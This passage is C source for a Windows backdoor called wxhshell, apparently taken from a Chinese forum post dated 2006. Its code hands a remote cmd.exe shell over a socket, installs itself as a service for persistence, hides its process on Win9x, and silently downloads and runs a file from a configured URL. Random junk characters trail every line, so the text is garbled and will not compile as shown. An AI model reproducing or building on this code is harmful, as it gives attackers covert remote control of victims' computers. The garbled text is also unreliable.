    break; ]?V2L`/  
  } PjkjUP  
  // 安装 !uN_<!  
  case 'i': { FmhN*ZXr #  
    if(Install()) z6'l" D'h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :PP!v!vk  
    else %i@Jw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CM 8Ub%  
    break; rQ&F Gb  
    } +A<7:`sO  
  // 卸载 p"Q V| `  
  case 'r': { ty b-VO  
    if(Uninstall()) ^vc#)tm5p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L lVE5f?  
    else 6]Ri$V&"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v,Yz\onB^  
    break; gF&HJF 0x  
    } ju(QSZ|;  
  // 显示 wxhshell 所在路径 `:5W1D(  
  case 'p': { HfA@tZ5q|U  
    char svExeFile[MAX_PATH]; <%=@Ue  
    strcpy(svExeFile,"\n\r"); 'Ug-64f>  
      strcat(svExeFile,ExeFile); L%fJH_$_s  
        send(wsh,svExeFile,strlen(svExeFile),0); i~.9 B7hdE  
    break; XZ_vbYTj  
    } =QW:},sp  
  // 重启  S/Gy:GIf  
  case 'b': { Pql;5 ~/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RaAvPIJa |  
    if(Boot(REBOOT)) 8~vE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d5 U+]g  
    else { ?o_ D#gG*  
    closesocket(wsh); ,{sCI/  
    ExitThread(0); *+>QKR7  
    } ePe/@g1K*  
    break; LAv!s/O$=  
    } Awlw6?   
  // 关机 5db9C}0  
  case 'd': { S3&lkN5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Tw!_=zy(Gw  
    if(Boot(SHUTDOWN)) )X5en=[)O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (kZ2D  
    else { R% )7z)~  
    closesocket(wsh); R2dCp|6A  
    ExitThread(0); -+&sPrQ  
    } _A=Pr _kN  
    break; !KmSLr7xU  
    } g:fzf>oQ>p  
  // 获取shell H(ds  
  case 's': { ~19&s~  
    CmdShell(wsh); 9Xeg &Z|!  
    closesocket(wsh); ?V(h@T  
    ExitThread(0); $s!2D"wl n  
    break; >l(|c9OWM  
  } 8aa`0X/6  
  // 退出 #H&`wMZZ:  
  case 'x': { j4!oBSp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k{.`=j  
    CloseIt(wsh); b[ .pD3  
    break; 8B|B[,`  
    } [:bYd}J  
  // 离开 K) {\wV="  
  case 'q': { 8eZ^)9m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AOR(1Qyo  
    closesocket(wsh); nfA#d-  
    WSACleanup(); LLW xzu!<  
    exit(1); -%>.Z1uj  
    break; ql%]t~HR0  
        } Xjnv8{X  
  } _U`1BmTC2  
  } UeN+}`!l  
<#No t1R  
  // 提示信息 pXq5|,aC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,|Lf6k  
} 7Un5Y[FZo  
  } ;8> TD&]{  
"CF{Mu|Q=  
  return; ,-_\Y hY>  
} :WnF>zN  
&l2C-(  
// shell模块句柄 (}&O)3)  
int CmdShell(SOCKET sock) 0v'FE35~s  
{ 'I1^70bB  
STARTUPINFO si; fv?vfI+m  
ZeroMemory(&si,sizeof(si)); GJbU1k]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +!)v=NY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GN@(!V#/4  
PROCESS_INFORMATION ProcessInfo; K*fh`Kz  
char cmdline[]="cmd"; U8icP+Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oO~LiK>  
  return 0; @/0-`Y@?  
} ^{w]r5d  
;_?RPWZ;MO  
// 自身启动模式 Bd-@@d.H<  
int StartFromService(void) LSW1,}/B  
{ +6+!M_0wA  
typedef struct 2JS&zF  
{ ucgp=bye  
  DWORD ExitStatus; j3)fmlA  
  DWORD PebBaseAddress; UsBtk  
  DWORD AffinityMask; j5]6 CG_  
  DWORD BasePriority; gDBdaxR<  
  ULONG UniqueProcessId; 9 M!J7 W  
  ULONG InheritedFromUniqueProcessId; Qlgii_?#@  
}   PROCESS_BASIC_INFORMATION; =RH7j  
fKjUEMRK  
PROCNTQSIP NtQueryInformationProcess; oJbMUEQQq  
]Z#=w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t&L+]I'P3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )H`1CcT  
6[l{@*r"  
  HANDLE             hProcess; ELqpIXq#  
  PROCESS_BASIC_INFORMATION pbi; R3ru<u>k&  
6;vfl*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9_<>#)u5  
  if(NULL == hInst ) return 0; FT+[[9i  
k^v P|*eu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?^z.WQ|f@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E4dN,^_ F!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '+*{u]\  
FCMV1,  
  if (!NtQueryInformationProcess) return 0; #gd`X|<Ch  
KG8Km  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P<{N)H 2r  
  if(!hProcess) return 0; pQf5s7  
*='J>z.]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j65qIw_Z  
j`pX2S  
  CloseHandle(hProcess); m C &*K  
\C.s%m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w5tcO%+k1  
if(hProcess==NULL) return 0; qKL mL2O  
N 56/\1R  
HMODULE hMod; \c.MIDp"  
char procName[255]; "g>, X[g  
unsigned long cbNeeded; )T26 cT$  
wtpz ef=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jizp\%W+  
B+8B<xZ  
  CloseHandle(hProcess); SWrP0Qjc  
j`A3N7;  
if(strstr(procName,"services")) return 1; // 以服务启动 qH1&tW$  
E+xC1U 3  
  return 0; // 注册表启动 HbXYinG%  
} p&|:,|jo5  
ytg' {)  
// 主模块 c mI&R(  
int StartWxhshell(LPSTR lpCmdLine) uF89B-t  
{ 236,o {9e  
  SOCKET wsl; 89 6oz>  
BOOL val=TRUE; V$';B=M  
  int port=0; i r/-zp_  
  struct sockaddr_in door; (^4V]N&  
heN?lmC  
  if(wscfg.ws_autoins) Install(); ueD_<KjE=  
q"O4}4`  
port=atoi(lpCmdLine); zEYT,l  
mxQPOu  
if(port<=0) port=wscfg.ws_port; >^5U XQr  
Bc^ MZ~+ip  
  WSADATA data; ,8^QV3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mM6X0aM  
i{+W62k*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Sdn4y(&TP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Td"_To@jd  
  door.sin_family = AF_INET; "cVJqW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K~DQUmU@  
  door.sin_port = htons(port); ] 3UlF'{  
AYnk.H-v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -cqR]'u  
closesocket(wsl); _2N7E#m"S  
return 1; "Smek#l  
} dnW#"  
g4-UBDtYt  
  if(listen(wsl,2) == INVALID_SOCKET) { K[~fpQGbV1  
closesocket(wsl); mv;;0xH  
return 1; :G\X  
} K.T.?ug;:  
  Wxhshell(wsl); U&}v1wdZ3  
  WSACleanup(); zF-R$_]av  
lI"~*"c`  
return 0; 8pZGu8  
lUJ~_`D  
} u{+z?N  
wYLi4jYm  
// 以NT服务方式启动 Z>t,B%v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )E hR qX9  
{ P^Tk4_,0  
DWORD   status = 0; j{?ogFfi  
  DWORD   specificError = 0xfffffff; n#Y=y#  
%{*A@jQsg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -m"9v%>Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2:4:Q[{A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e!hy,O{Pw  
  serviceStatus.dwWin32ExitCode     = 0; o$%I{}9x  
  serviceStatus.dwServiceSpecificExitCode = 0; P/e6b .M  
  serviceStatus.dwCheckPoint       = 0; 7)Y0D@wg  
  serviceStatus.dwWaitHint       = 0; gf\F%VmSN  
FT$Z8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7i@vj7K  
  if (hServiceStatusHandle==0) return; 9ER!K  
A0f98 ?j^  
status = GetLastError(); Uxl7O4J@H  
  if (status!=NO_ERROR) A<$w }Fy;  
{ @7j$$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sJ !<qb5!  
    serviceStatus.dwCheckPoint       = 0; .WV5Gf)  
    serviceStatus.dwWaitHint       = 0; %c"t`  
    serviceStatus.dwWin32ExitCode     = status; nA)KRCi  
    serviceStatus.dwServiceSpecificExitCode = specificError; [d^ [Y:I'\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #vs=yR/tn{  
    return; dPmtU{E<M  
  } e_v_y$  
)@,zG(t5;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qwomc28O  
  serviceStatus.dwCheckPoint       = 0; abgA Ug)  
  serviceStatus.dwWaitHint       = 0; X<*-d6?gD`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L63B# H "  
} lv=rL  
OKO+(>A Q  
// 处理NT服务事件,比如:启动、停止 7(W"NF{r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .s8u?1b  
{ u#^~([ I  
switch(fdwControl) aSVR +of  
{ j+6`nN7L  
case SERVICE_CONTROL_STOP: pHKGK7 S-  
  serviceStatus.dwWin32ExitCode = 0; 5xIOi(3`Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'Xb?vOU  
  serviceStatus.dwCheckPoint   = 0; N}rc3d#  
  serviceStatus.dwWaitHint     = 0; XKQ\Ts2<k  
  { P'<D0   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 31)eDs  
  } _>=QZ`!r  
  return; 'U/X<LCl  
case SERVICE_CONTROL_PAUSE: 'irHpN6n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7~ =r9-&G  
  break; *ud/'HR8]  
case SERVICE_CONTROL_CONTINUE: }*>xSb1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3Q\k!$zq  
  break; >9i%Yuy](  
case SERVICE_CONTROL_INTERROGATE: l/6$BP U`  
  break; t[=teB v<  
}; ul!e!^qwx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FNy-&{P2  
} fB"It~ p  
<]wQ;14;H  
// 标准应用程序主函数 FesUE_L2$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <[Y@<  
{ 4E 32DG*  
<C{uodFll  
// 获取操作系统版本 kBr?Q  
OsIsNt=GetOsVer(); G'c6%;0)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <<~swN  
>'g>CD!  
  // 从命令行安装  <R.Ipyt.  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2}xvM"k=k  
h'|J$   
  // 下载执行文件 =OR "Bd:O  
if(wscfg.ws_downexe) { <S@XK%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >m'n#=yap  
  WinExec(wscfg.ws_filenam,SW_HIDE); jx[g;7~X  
} ,/Usyb,`  
%XiF7<A &  
if(!OsIsNt) { /Ps5Og  
// 如果时win9x,隐藏进程并且设置为注册表启动 RQQ\y`h`  
HideProc(); hreG5g9{  
StartWxhshell(lpCmdLine); ee\xj$,  
} M'>8P6O  
else 7rSads  
  if(StartFromService()) 6 ~.{~+Bd  
  // 以服务方式启动 B82SAV/O  
  StartServiceCtrlDispatcher(DispatchTable); j~C-T%kYa  
else Zy&?.d[z  
  // 普通方式启动 8h'*[-]70u  
  StartWxhshell(lpCmdLine); M%"{OHj!o  
^\3r}kJ0Lp  
return 0; 7AuzGA0y  
}
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只看该作者 1 发表于: 2006-10-10
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